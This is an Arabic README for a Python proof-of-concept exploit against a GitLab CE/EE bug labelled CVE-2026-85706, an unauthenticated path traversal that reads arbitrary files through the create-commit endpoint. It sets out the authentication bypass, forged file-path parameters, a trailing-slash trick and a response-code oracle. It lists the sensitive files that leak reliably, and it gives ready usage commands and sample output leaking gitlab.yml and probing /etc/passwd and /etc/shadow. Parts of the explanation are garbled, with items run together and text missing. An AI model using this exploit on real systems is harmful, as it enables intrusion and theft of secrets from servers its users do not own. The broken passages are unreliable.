
Python PoC يستغل CVE-2026-85706، وهو اجتياز مسار غير مصادق عليه وقراءة ملفات عشوائية في GitLab CE/EE عبر نقطة نهاية create-commit، مع أوراكل قراءة الملفات.
اجتياز مسار غير مُصادَق عليه / قراءة ملفات عشوائية في GitLab CE و EE. CVSS 10.0. تم التحقق منه مقابل نسخة 19.3.1 ذاتية الإدارة في مختبر محلي.
GitLab CE/EE:
الشرط المسبق: أن تحتوي النسخة على مشروع عام واحد على الأقل. أي معرّف مشروع حقيقي يعمل. لا حاجة لحساب أو رمز.
نقطة نهاية إنشاء الالتزام POST /api/v4/projects/:id/repository/commits
تقبل أجسام ملفات كبيرة، لذا يقوم Workhorse بتخزين جسم الطلب مؤقتًا على القرص
ويحقن بيانات file.path / file.size الوصفية ليقرأها Rails مرة أخرى. أربعة
أخطاء تتراصف:
require_gitlab_workhorse! عند الدخول. يقع
authenticate! الحقيقي خلف authorize_push_to_branch!، الذي يعمل بعد
قراءة الملف.file_params_from_body_upload قيمتي file.path و file.size مباشرة
من معاملات الطلب، لذا يتبع File.read(file_path) أي مسار مطلق تقدّمه..../repository/commits\z.
إضافة شرطة مائلة زائدة تفوّت هذا المسار وتنتقل إلى الوكيل العكسي الموقّع،
الذي يمرّر الجسم الخام مع JWT صالح. ينجح فحص Workhorse، ويقوم Grape
بتطبيع الشرطة المائلة، وتبقى المعاملات المزوّرة.Content-Type: application/x-www-form-urlencoded يُحلَّل محتوى الملف
بواسطة Rack::Utils.parse_nested_query. تسلسل % غير قانوني يرفع
ArgumentError: invalid %-encoding (<component>) وترد استجابة 400 بذلك
المكوّن حرفيًا.تتم القراءة بصلاحيات مستخدم git. لا يعود المحتوى إلا إذا كان الملف يحتوي
على تسلسل % غير قانوني؛ وإلا فستحصل مع ذلك على أوراكل نظيف للوجود
وقابلية القراءة:
| الاستجابة | المعنى |
|---|---|
400 local file not present | الملف غير موجود |
500 | موجود، غير قابل للقراءة بواسطة git |
401 | موجود وقابل للقراءة، لا يوجد % غير قانوني، لا شيء يُعاد |
400 invalid %-encoding (...) | قابل للقراءة، المكوّن يُعاد |
الملفات التي تعيد المحتوى بشكل موثوق على تثبيت omnibus افتراضي: gitlab.yml
(تعليق الترويسة يصادف 95% مبكرًا)، وسجلات مهام CI والمخرجات، والمرفقات
المرفوعة، وdatabase.yml على عمليات النشر بقاعدة بيانات خارجية.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
لا تبعيات، مكتبة قياسية فقط.
مقابل gitlab-ce 19.3.1 في docker، بدون أي بيانات اعتماد:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
فحوصات سريعة للأوراكل من نفس التشغيل:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
لاختبارات الأمان والبحث المصرّح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها.